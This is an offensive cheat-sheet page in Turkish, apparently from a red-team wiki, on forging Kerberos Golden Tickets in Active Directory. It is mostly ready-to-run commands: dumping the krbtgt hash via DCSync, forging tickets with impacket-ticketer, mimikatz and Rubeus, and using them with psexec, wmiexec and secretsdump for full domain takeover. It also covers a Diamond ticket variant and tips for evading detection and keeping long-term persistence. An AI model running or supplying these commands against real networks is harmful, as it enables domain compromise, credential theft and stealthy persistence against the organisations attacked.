Skip to content

Golden Ticket

MITRE ATT&CK · T1558.001 phase: persistence impact: domain dominasyonu

MITRE ATT&CK · T1558.001 phase: persistence impact: domain dominasyonu

Golden Ticket, domaindeki krbtgt hesabının parola hash’i (veya AES anahtarı) ele geçirildiğinde üretilir. krbtgt anahtarı tüm TGT’leri imzaladığı/şifrelediği için, saldırgan herhangi bir kullanıcı ve grup üyeliğiyle (ör. Domain Admins) geçerli TGT’ler forge edebilir. Bu, domain genelinde tam ve kalıcı erişim demektir — krbtgt iki kez rotate edilmedikçe.

GerekliNasıl alınır
krbtgt NTLM ve/veya AES256DCSync, NTDS.dit
Domain SID (S-1-5-21-…)lookupsid, whoami /user, secretsdump banner
Domain FQDNenum
Hedef kullanıcı adı / RIDgenelde Administrator / 500
Terminal window
impacket-secretsdump -just-dc-user krbtgt domain.local/admin:'Pass'@10.10.10.5
Terminal window
impacket-lookupsid domain.local/admin:'Pass'@10.10.10.5 0
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt
# aes256_hmac ve rc4_hmac_nt not et
  1. Gerekli bilgileri topla — krbtgt NTLM / AES256 ve domain SID.

  2. Bileti forge et :

    Terminal window
    impacket-ticketer -nthash <krbtgt_NT_hash> \
    -domain-sid S-1-5-21-1111-2222-3333 \
    -domain domain.local Administrator
    Terminal window
    impacket-ticketer -aesKey <krbtgt_aes256> \
    -domain-sid S-1-5-21-1111-2222-3333 \
    -domain domain.local -user-id 500 -groups 512,513,518,519,520 \
    Administrator
    Terminal window
    impacket-ticketer -nthash <child_krbtgt> -domain-sid <child_sid> \
    -domain child.corp.local -extra-sid <root_sid>-519 Administrator
  3. Bileti kullan (Pass-the-Ticket) :

    Terminal window
    export KRB5CCNAME=Administrator.ccache
    Terminal window
    klist
    Terminal window
    impacket-psexec -k -no-pass domain.local/Administrator@dc01.domain.local
    Terminal window
    impacket-secretsdump -k -no-pass domain.local/Administrator@dc01.domain.local
    Terminal window
    impacket-wmiexec -k -no-pass domain.local/Administrator@dc01.domain.local
kerberos::golden /user:Administrator /domain:domain.local \
/sid:S-1-5-21-1111-2222-3333 /krbtgt:<NT> \
/id:500 /groups:512,513,518,519,520 /ptt
# AES
kerberos::golden /user:Administrator /domain:domain.local \
/sid:S-1-5-21-... /aes256:<krbtgt_aes256> /ptt
Terminal window
Rubeus.exe ptt /ticket:Administrator.kirbi
Terminal window
Rubeus.exe golden /rc4:<krbtgt_NT> /domain:domain.local \
/sid:S-1-5-21-... /user:Administrator /ptt

Saf Golden, PAC’i sıfırdan uydurur. Diamond: meşru TGT al → PAC’i krbtgt anahtarıyla yeniden imzala / manipüle et — bazı tespitler için daha az belirgin.

Rubeus.exe diamond /krbkey:<krbtgt_aes> /user:target /password:pass /enctype:aes /ptt

Golden Ticket · ticketer

embedded tool
Generated command
impacket-ticketer -nthash 31d6cfe0d16ae931b73c59d7e0c089c0 -domain-sid S-1-5-21-111-222-333 -domain domain.local Administrator
DA / DCSync hakkı → secretsdump krbtgt
→ ticketer AES Golden
→ uzun süreli persistence ([Persistence](/ad/persistence/))
→ istediğin zaman PtT ile dönüş
  • AES256 tercih et; salt RC4 Golden eski/şüpheli.
  • /user olarak gerçekten var olan hesabı kullan; rastgele isim + DA grupları PAC anomalisi.
  • -user-id / -groups gerçek RID’lerle hizala ( 500 , 512 …).
  • Aşırı uzun lifetime (10 yıl) varsayılan ticketer davranışı — tespit kuralı; makul endtime seç (impacket -duration ).
  • Her erişimde yeni Golden basmak yerine ccache’i sakla / gerektiğinde yenile.
  • Kerberos FQDN ister; hosts dosyası / DNS şart.
  • Yanlış domain SID → tüm servisler reddeder.
  • krbtgt NTLM yerine bilgisayar hash’i kullanmak.
  • IP ile -k bağlantı → SPN mismatch; FQDN kullan.
  • Clock skew > 5 dk.
  • krbtgt rotate edildiyse (çift) eski Golden ölür — taze DCSync al.
  • Sadece TGT yetmez; hedef servisin kabul ettiği etype ile uyum.

Pass-the-Ticket · Silver Ticket · Domain Trusts · Persistence